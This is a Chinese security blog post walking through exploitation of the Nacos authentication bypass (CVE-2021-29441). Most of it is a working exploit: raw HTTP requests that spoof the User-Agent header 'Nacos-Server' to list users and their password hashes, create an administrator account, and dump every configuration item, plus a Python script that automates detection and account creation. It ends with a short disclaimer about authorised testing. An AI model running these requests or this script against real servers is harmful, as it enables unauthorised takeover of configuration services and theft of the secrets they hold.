记一次内网挖洞过程,重温Nacos 身份认证绕过!!
原创
是老A
是老A
老A搞安全
2026年9月22日 07:42
贵州
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
一位深耕网络安全的老兵,目前是一家安全公司的技术分管,擅长渗透测试及安全培训方向,老A的愿望是大家没烦恼,一切顺心!
| 项目 | 详情 |
| 漏洞名称 | Nacos 身份认证绕过 |
| CVE 编号 | CVE-2021-29441 |
| 影响版本 | Nacos < 1.4.1 |
| 危害等级 | 通常判高危!(具体看情况) |
| 前置条件 | 目标服务网络可达,且端口开放 |
近期在实施项目,碰到关于Nacos漏洞,简单的和大家重温一下利用过程
复现流程
首先确认目标版本。可以通过访问 /nacos/v1/console/server/state 获取版本信息
或者直接利用一个关键特征:先用不带任何特殊请求头的请求访问用户列表,预期会返回 403 Forbidden。
GET /nacos/v1/auth/users?pageNo=1&pageSize=9 HTTP/1.1Host: ip:8848
预期响应:HTTP/1.1 403 Forbidden
获取用户列表(信息泄露)
核心是在请求头中添加 User-Agent: Nacos-Server
请求 POC(直接通过 URL 访问,或在 Burp Suite 中修改 User-Agent)
GET /nacos/v1/auth/users?pageNo=1&pageSize=9 HTTP/1.1Host: ip:8848User-Agent: Nacos-Server
预期响应(HTTP 200,并返回用户列表):
{ \"totalCount\": 1, \"pageNumber\": 1, \"pagesAvailable\": 1, \"pageItems\": [ { \"username\": \"nacos\", \"password\": \"$2a$10$...\" } ]}
补充说明:如果 HTTP 请求需通过浏览器或命令行工具模拟,关键在于添加正确的 User-Agent 头部。且该列表中的密码是 BCrypt 哈希,难以直接还原,主要用于后续暴力破解尝试。
创建新用户(权限获取)
验证未授权访问成立后,直接调用创建用户接口
请求 POC:
POST /nacos/v1/auth/users HTTP/1.1Host: ip:8848User-Agent: Nacos-ServerContent-Type: application/x-www-form-urlencodedContent-Length: 33username=hacker&password=Hacker@123
预期响应:create user ok!
此时,你就成功创建了一个拥有完整管理权限的新账号
登录验证
访问 http://ip:8848/nacos/,使用刚刚创建的 hacker / Hacker@123 登录,即可进入 Nacos 控制台,从而完全接管该服务。
如果不想手动构造请求,可以使用 GitHub 上的自动化脚本快速检测并利用此漏洞
# 示例基于K3ysTr0K3R/CVE-2021-29441的利用逻辑[citation:17]import requeststarget = \"http://ip:8848\"headers = {\"User-Agent\": \"Nacos-Server\"}# 1. 检测漏洞r = requests.get(f\"{target}/nacos/v1/auth/users?pageNo=1&pageSize=9\", headers=headers)if r.status_code == 200 and \"pageItems\" in r.text: print(\"[+] Vulnerable\") # 2. 创建新用户 data = {\"username\": \"hacker\", \"password\": \"Hacker@123\"} r2 = requests.post(f\"{target}/nacos/v1/auth/users\", headers=headers, data=data) if \"create user ok\" in r2.text: print(\"[+] User created\")
验证要点
确认漏洞是否存在,关键在于对比请求头修改前后的响应状态码差异。当把 User-Agent 改为 Nacos-Server 后,从 403 变为 200,这就是漏洞存在的直接证据
另外,可以利用该漏洞在获取控制台权限后,尝试访问
/nacos/v1/cs/configs?search=accurate&dataId=&group=&pageNo=1&pageSize=99
来获取所有配置信息,这是验证是否拥有完整数据访问权限的有效方式
⚠️ 法律声明:以上内容仅供安全学习和授权测试使用。未经授权的漏洞利用属于违法行为,请勿对未经授权的目标进行测试
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论